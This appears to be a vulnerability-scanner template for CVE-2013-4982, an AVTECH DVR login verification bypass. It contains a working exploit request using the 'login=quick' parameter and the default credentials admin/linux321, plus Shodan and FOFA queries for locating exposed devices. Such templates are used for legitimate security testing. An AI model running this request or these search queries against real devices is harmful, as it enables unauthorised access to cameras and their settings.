id: CVE-2013-4982

info:
  name: AVTECH DVR - Login Verification Code Bypass
  author: ritikchaddha
  severity: low
  description: |
    AVTECH DVR products are vulnerable to verification code bypass just by entering the "login=quick" parameter to bypass verification code.
  impact: |
    Attackers can bypass authentication mechanisms and gain unauthorized access to the DVR system, potentially viewing camera feeds, modifying settings, or compromising the device.
  remediation: |
    Update to the latest firmware version or contact the vendor for a security patch.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-4982
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5.0
    cve-id: CVE-2013-4982
    epss-score: 0.13117
    epss-percentile: 0.9586
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"login" product:"Avtech"
    fofa-query: app="AVTECH-视频监控"
  tags: cve,cve2013,avtech,verify,bypass,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/nobody/VerifyCode.cgi?account={{base64(username + ':' + password)}}&login=quick"

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - linux321

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "^0.*\nOK.*"

      - type: dsl
        dsl:
          - status_code == 200
          - len(body) == 5
        condition: and
# digest: 4a0a0047304502204dde8d15152f3ecf771728587b7d657afe5ccee2889fa97f4958dd011b2305c5022100b6cad1e117ec20f671ccbff740d7021e2a352c7f7e7d65cb14707988bca2a622:922c64590222798bb761d5b6d8e72950